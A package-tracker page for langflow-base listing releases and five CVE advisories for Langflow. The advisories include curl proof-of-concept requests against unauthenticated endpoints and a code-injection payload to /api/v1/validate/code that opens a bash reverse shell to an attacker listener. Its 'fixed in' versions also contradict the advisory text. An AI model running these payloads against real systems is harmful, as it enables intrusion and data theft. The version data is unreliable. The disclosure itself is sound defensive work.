langflow-base

Langflow is a powerful tool for building and deploying AI-powered agents and workflows.

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Activity

Latest release: 9h ago
Total releases: 292
Cadence: ~daily
Last 12 months: 185

Reach

Stars: 154.7k

Details

License: MIT
First release: Apr 01, 2024

Releases

Version	Released
`1.13.0.dev12` pre	Sep 14, 2026
`1.13.0.dev11` pre	Sep 13, 2026
`1.13.0.dev10` pre	Sep 12, 2026
`1.12.2rc1` pre	Sep 11, 2026
`1.13.0.dev9` pre	Sep 11, 2026
`1.12.2rc0` pre	Sep 11, 2026
`1.13.0.dev8` pre	Sep 10, 2026
`1.13.0.dev7` pre	Sep 09, 2026
`1.12.1` patch	Sep 08, 2026
`1.13.0.dev6` pre	Sep 08, 2026
`1.13.0.dev5` pre	Sep 07, 2026
`1.13.0.dev4` pre	Sep 06, 2026
`1.13.0.dev3` pre	Sep 05, 2026
`1.13.0.dev2` pre	Sep 04, 2026
`1.13.0.dev1` pre	Sep 03, 2026
`1.13.0.dev0` pre	Sep 02, 2026
`1.12.0` major	Sep 01, 2026
`1.12.0rc4` pre	Sep 01, 2026
`1.12.0.dev45` pre	Sep 01, 2026
`0.11.6` patch	Sep 01, 2026
`1.12.0.dev44` pre	Aug 31, 2026
`1.12.0.dev43` pre	Aug 30, 2026
`1.12.0rc3` pre	Aug 29, 2026
`1.12.0.dev42` pre	Aug 29, 2026
`1.12.0.dev41` pre	Aug 28, 2026
`1.12.0.dev40` pre	Aug 27, 2026
`1.12.0.dev39` pre	Aug 26, 2026
`1.12.0rc2` pre	Aug 25, 2026
`0.11.5` patch	Aug 25, 2026
`1.12.0rc1` pre	Aug 25, 2026
`1.12.0rc0` pre	Aug 25, 2026
`1.12.0.dev38` pre	Aug 25, 2026
`1.12.0.dev37` pre	Aug 24, 2026
`1.12.0.dev36` pre	Aug 23, 2026
`1.12.0.dev35` pre	Aug 22, 2026
`1.12.0.dev34` pre	Aug 21, 2026
`1.12.0.dev33` pre	Aug 20, 2026
`1.12.0.dev32` pre	Aug 19, 2026
`0.11.4` patch	Aug 18, 2026
`1.12.0.dev31` pre	Aug 18, 2026
`0.11.4rc3` pre	Aug 17, 2026
`1.12.0.dev30` pre	Aug 17, 2026
`1.12.0.dev29` pre	Aug 16, 2026
`1.12.0.dev28` pre	Aug 15, 2026
`1.12.0.dev27` pre	Aug 15, 2026
`0.11.4rc2` pre	Aug 14, 2026
`1.12.0.dev26` pre	Aug 14, 2026
`1.12.0.dev25` pre	Aug 13, 2026
`1.12.0.dev24` pre	Aug 12, 2026
`0.11.3` patch	Aug 11, 2026

1–50 of 292

Repository

langflow-ai/langflow

Forks: 10.1k
Open issues: 234
Language: Python

react-flow
chatgpt
large-language-models
generative-ai
agents
multiagent

Dependencies (195)

Depends on

1.13.0.dev12

Used by

Supply-chain exposure

9 tracked projects depend on this, <1% of every package we track.

A known CVE here directly exposes every one of them.

Vulnerable dependencies

1 of 195

nltk high 1 CVE

These dependencies are still vulnerable in their latest release. Whether the exact version this package pins is affected isn't checked yet.

Known CVEs (5)

CVE-2026-6596 PYSEC-2026-2572 GHSA-vvfc-fp59-m92g Jul 13, 2026

Langflow: DoS Through Lack of File Size Restriction via Deprecated Unauthenticated File Upload API

Medium
Network Low None None

A security flaw has been discovered in langflow-ai langflow up to 1.1.0. This issue affects the function create_upload_file of the file src/backend/base/Langflow/api/v1/endpoints.py of the component API Endpoint. The manipulation results in unrestricted upload. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

Affected versions

0.0.130.0.140.0.150.0.160.0.170.0.180.0.190.0.200.0.210.0.220.0.230.0.24

+ 122 more Show less

0.0.250.0.260.0.270.0.280.0.290.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.500.0.510.0.520.0.530.0.540.0.550.0.560.0.570.0.580.0.590.0.600.0.610.0.620.0.630.0.640.0.660.0.670.0.680.0.690.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.770.0.780.0.790.0.800.0.810.0.820.0.830.0.840.0.850.0.860.0.870.0.880.0.890.0.900.0.910.0.920.0.930.0.940.0.950.0.960.0.970.0.980.0.990.1.00.1.10.1.20.1.30.1.40.1.4.post10.2.00.3.00.3.10.3.20.3.30.3.40.4.00.4.10.4.20.4.30.5.00.5.0.post10.5.0.post20.5.10.6.00.6.10.6.20.6.30.6.40.6.50.6.60.6.70.6.80.6.90.7.00.7.10.7.20.7.30.8.00.8.0rc00.8.0rc10.8.0rc20.8.0rc30.8.0rc40.8.0rc50.8.0rc60.8.10.8.20.8.30.8.3rc00.8.40.9.0

Fixed in

0.9.1

References

https://nvd.nist.gov/vuln/detail/CVE-2026-6596
https://github.com/langflow-ai/langflow/commit/b5662446bc8c54d928e278d3d26ad95b62425815
https://gist.github.com/chenhouser2025/c2aabfdee41009cfe45d28a9924742a0
https://github.com/langflow-ai/langflow
https://github.com/langflow-ai/langflow/commits/v1.9.1
https://vuldb.com/submit/791919

Updated Jul 13, 2026 · Source: OSV.dev
CVE-2026-34046 PYSEC-2026-2570 GHSA-8c4j-f57c-35cf PYSEC-2026-2567 Jul 13, 2026

Langflow: Authenticated Users Can Read, Modify, and Delete Any Flow via Missing Ownership Check

Critical
Network Low Low None

Vulnerability

IDOR in GET/PATCH/DELETE /api/v1/flow/{flow_id}

The _read_flow helper in src/backend/base/langflow/api/v1/flows.py branched on the AUTO_LOGIN setting to decide whether to filter by user_id. When AUTO_LOGIN was False (i.e., authentication was enabled), neither branch enforced an ownership check — the query returned any flow matching the given UUID regardless of who owned it.

This exposed any authenticated user to:

Read any other user's flow, including embedded plaintext API keys

Modify the logic of another user's AI agents

Delete flows belonging to other users

The vulnerability was introduced by the conditional logic that was meant to accommodate public/example flows (those with user_id = NULL) under auto-login mode, but inadvertently left the authenticated path without an ownership filter.

Fix (PR #8956)

The fix removes the AUTO_LOGIN conditional entirely and unconditionally scopes the query to the requesting user:

- auth_settings = settings_service.auth_settings - stmt = select(Flow).where(Flow.id == flow_id) - if auth_settings.AUTO_LOGIN: - stmt = stmt.where( - (Flow.user_id == user_id) | (Flow.user_id == None) # noqa: E711 - ) + stmt = select(Flow).where(Flow.id == flow_id).where(Flow.user_id == user_id)

All three operations — read, update, and delete — route through _read_flow, so the single change covers the full attack surface. A cross-user isolation test (test_read_flows_user_isolation) was added to prevent regression.

Acknowledgements

Langflow thanks the security researcher who responsibly disclosed this vulnerability:

@chximn-dt

Affected versions

0.0.130.0.140.0.150.0.160.0.170.0.180.0.190.0.200.0.210.0.220.0.230.0.24

+ 93 more Show less

0.0.250.0.260.0.270.0.280.0.290.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.500.0.510.0.520.0.530.0.540.0.550.0.560.0.570.0.580.0.590.0.600.0.610.0.620.0.630.0.640.0.660.0.670.0.680.0.690.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.770.0.780.0.790.0.800.0.810.0.820.0.830.0.840.0.850.0.860.0.870.0.880.0.890.0.900.0.910.0.920.0.930.0.940.0.950.0.960.0.970.0.980.0.990.1.00.1.10.1.20.1.30.1.40.1.4.post10.2.00.3.00.3.10.3.20.3.30.3.40.4.00.4.10.4.20.4.30.5.00.5.0.post10.5.0.post2

Fixed in

0.5.1

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-8c4j-f57c-35cf
https://nvd.nist.gov/vuln/detail/CVE-2026-34046
https://github.com/langflow-ai/langflow/pull/8956
https://github.com/langflow-ai/langflow
https://pypi.org/project/langflow-base
https://github.com/advisories/GHSA-8c4j-f57c-35cf

Updated Jul 13, 2026 · Source: OSV.dev
CVE-2026-21445 PYSEC-2026-2571 GHSA-c5cp-vx83-jhqx PYSEC-2026-1524 Jul 13, 2026

Langflow Missing Authentication on Critical API Endpoints

Critical
Network Low None None

Summary

Multiple critical API endpoints in Langflow are missing authentication controls, allowing any unauthenticated user to access sensitive user conversation data, transaction histories, and perform destructive operations including message deletion. This affects endpoints handling personal data and system operations that should require proper authorization.

Details

The vulnerability exists in three API endpoints within src/backend/base/langflow/api/v1/monitor.py that are missing the required dependencies=[Depends(get_current_active_user)] authentication dependency:

Affected Endpoints:

GET /api/v1/monitor/messages (Line 61)

@router.get("/messages") # ❌ Missing authentication async def get_messages( session: DbSession, flow_id: Annotated[UUID | None, Query()] = None, session_id: Annotated[str | None, Query()] = None, # ... other parameters ) -> list[MessageResponse]:

GET /api/v1/monitor/transactions (Line 183)

@router.get("/transactions") # ❌ Missing authentication async def get_transactions( flow_id: Annotated[UUID, Query()], session: DbSession, params: Annotated[Params | None, Depends(custom_params)], ) -> Page[TransactionTable]:

DELETE /api/v1/monitor/messages/session/{session_id} (Line 165)

@router.delete("/messages/session/{session_id}", status_code=204) # ❌ Missing authentication async def delete_messages_session( session_id: str, session: DbSession, ):

Inconsistency Evidence: Other endpoints in the same file properly implement authentication:

@router.get("/messages/sessions", dependencies=[Depends(get_current_active_user)]) # ✅ Properly secured @router.delete("/messages", status_code=204, dependencies=[Depends(get_current_active_user)]) # ✅ Properly secured

PoC

Complete reproduction steps to demonstrate the vulnerability:

Prerequisites:

Start a Langflow server instance

Ensure no authentication headers or API keys are provided

Reproduction Commands:

# 1. Access all user conversations without authentication curl http://localhost:7860/api/v1/monitor/messages # 2. Access transaction history without authentication curl "http://localhost:7860/api/v1/monitor/transactions?flow_id=00000000-0000-0000-0000-000000000000" # 3. Delete user messages by session without authentication curl -X DELETE http://localhost:7860/api/v1/monitor/messages/session/00000000-0000-0000-0000-000000000000

Expected vs Actual Behavior:

Expected: All requests should return 401 Unauthorized

Actual: All requests return successful responses with sensitive data or perform destructive operations

Impact

Vulnerability Type: Broken Authentication and Authorization (OWASP Top 10 - A01:2021)

Severity: High

Who is Impacted:

All Langflow users: Personal conversation data exposed to unauthorized access

System administrators: Transaction logs disclosed

Specific Impacts:

Data Breach: Unauthorized access to user conversations containing potentially sensitive personal information

Privacy Violation: Transaction histories and user activity patterns exposed without consent

Data Destruction: Malicious actors can delete user conversation histories without authorization

Compliance Risk: Potential violations of data protection regulations (GDPR, CCPA, etc.)

System Intelligence: Attackers can gather information about system usage patterns and user behavior

Attack Scenarios:

Malicious users accessing proprietary conversation data

Malicious users deleting other users' conversation histories

Automated scraping of all user conversations for data harvesting

Reconnaissance attacks to understand system architecture and usage patterns

Recommended Fix: Add authentication dependencies to all affected endpoints:

@router.get("/messages", dependencies=[Depends(get_current_active_user)]) @router.get("/transactions", dependencies=[Depends(get_current_active_user)]) @router.delete("/messages/session/{session_id}", dependencies=[Depends(get_current_active_user)])

Environment:

Langflow Version: Current main branch

Affected Components: API v1 monitoring endpoints

Authentication System: FastAPI dependency injection with get_current_active_user

Affected versions

0.0.130.0.140.0.150.0.160.0.170.0.180.0.190.0.200.0.210.0.220.0.230.0.24

+ 105 more Show less

0.0.250.0.260.0.270.0.280.0.290.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.500.0.510.0.520.0.530.0.540.0.550.0.560.0.570.0.580.0.590.0.600.0.610.0.620.0.630.0.640.0.660.0.670.0.680.0.690.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.770.0.780.0.790.0.800.0.810.0.820.0.830.0.840.0.850.0.860.0.870.0.880.0.890.0.900.0.910.0.920.0.930.0.940.0.950.0.960.0.970.0.980.0.990.1.00.1.10.1.20.1.30.1.40.1.4.post10.2.00.3.00.3.10.3.20.3.30.3.40.4.00.4.10.4.20.4.30.5.00.5.0.post10.5.0.post20.5.10.6.00.6.10.6.20.6.30.6.40.6.50.6.60.6.70.6.80.6.90.7.0

Fixed in

0.7.1

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-c5cp-vx83-jhqx
https://nvd.nist.gov/vuln/detail/CVE-2026-21445
https://github.com/langflow-ai/langflow/commit/3fed9fe1b5658f2c8656dbd73508e113a96e486a
https://github.com/langflow-ai/langflow
https://github.com/langflow-ai/langflow/releases/tag/1.7.1
https://pypi.org/project/langflow-base

Updated Jul 13, 2026 · Source: OSV.dev
CVE-2025-57760 PYSEC-2026-1526 GHSA-4gv9-mp8m-592r PYSEC-2025-243 Jul 07, 2026

Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation (Post-RCE)

8.8 / 10
High
Network Low Low None Unchanged High High High

This vulnerability was discovered by researchers at Check Point. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.

Summary

A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command langflow superuser to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.

Details

Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:

langflow superuser

This command allows creation of a new superuser without checking whether one already exists.

When combined with code execution (e.g., via the authenticated /api/v1/validate/code endpoint), a low-privileged user can execute:

/app/.venv/bin/langflow superuser

inside the container, and elevate themselves to full superuser privileges.

This effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.

PoC

Start container with LANGFLOW_ENABLE_AUTH set to True.

Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)

Exploit /api/v1/validate/code to get reverse shell

Send an authenticated POST request:

{ "code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\")):\n pass" }

Inside reverse shell, create superuser:

Log into UI as new superuser:

Impact

Privilege escalation to superuser — complete takeover of the Langflow instance

Access to all user data, flows, stored credentials, and configuration

Credential leakage — attacker can extract third-party API keys

Exposure of environment variables (inside docker container)

Ability to run additional Langflow instances via langflow run inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation.

Full user management — superuser can delete other users, reset their passwords

Affected versions

0.0.130.0.140.0.150.0.160.0.170.0.180.0.190.0.200.0.210.0.220.0.230.0.24

+ 93 more Show less

0.0.250.0.260.0.270.0.280.0.290.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.500.0.510.0.520.0.530.0.540.0.550.0.560.0.570.0.580.0.590.0.600.0.610.0.620.0.630.0.640.0.660.0.670.0.680.0.690.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.770.0.780.0.790.0.800.0.810.0.820.0.830.0.840.0.850.0.860.0.870.0.880.0.890.0.900.0.910.0.920.0.930.0.940.0.950.0.960.0.970.0.980.0.990.1.00.1.10.1.20.1.30.1.40.1.4.post10.2.00.3.00.3.10.3.20.3.30.3.40.4.00.4.10.4.20.4.30.5.00.5.0.post10.5.0.post2

Fixed in

0.5.1

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r
https://github.com/langflow-ai/langflow/pull/9152
https://github.com/langflow-ai/langflow/commit/c188ec113c9ca46154ad01d0eded1754cc6bef97
https://github.com/langflow-ai/langflow
https://pypi.org/project/langflow-base
https://github.com/advisories/GHSA-4gv9-mp8m-592r

Updated Jul 13, 2026 · Source: OSV.dev
CVE-2025-3248 PYSEC-2026-380 GHSA-rvqx-wpfh-mfx7 PYSEC-2025-36 Jun 29, 2026

Langflow Unauth RCE

Critical
Network Low None None

Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.

Affected versions

0.0.130.0.140.0.150.0.160.0.170.0.180.0.190.0.200.0.210.0.220.0.230.0.24

+ 81 more Show less

0.0.250.0.260.0.270.0.280.0.290.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.500.0.510.0.520.0.530.0.540.0.550.0.560.0.570.0.580.0.590.0.600.0.610.0.620.0.630.0.640.0.660.0.670.0.680.0.690.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.770.0.780.0.790.0.800.0.810.0.820.0.830.0.840.0.850.0.860.0.870.0.880.0.890.0.900.0.910.0.920.0.930.0.940.0.950.0.960.0.970.0.980.0.990.1.00.1.10.1.20.1.30.1.40.1.4.post10.2.0

Fixed in

0.3.0

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-rvqx-wpfh-mfx7
https://nvd.nist.gov/vuln/detail/CVE-2025-3248
https://github.com/langflow-ai/langflow/pull/6911
https://github.com/langflow-ai/langflow/commit/faac4db133de32fcb6d483fa9ff52f40ce42bdc0
https://github.com/langflow-ai/langflow
https://github.com/langflow-ai/langflow/releases/tag/1.3.0

Updated Jul 01, 2026 · Source: OSV.dev

Insights

Releases per month

last 12 months

Release mix

major 1
minor 11
patch 129
pre 150

292 releases

Dependencies over time

per release

Release calendar

2026

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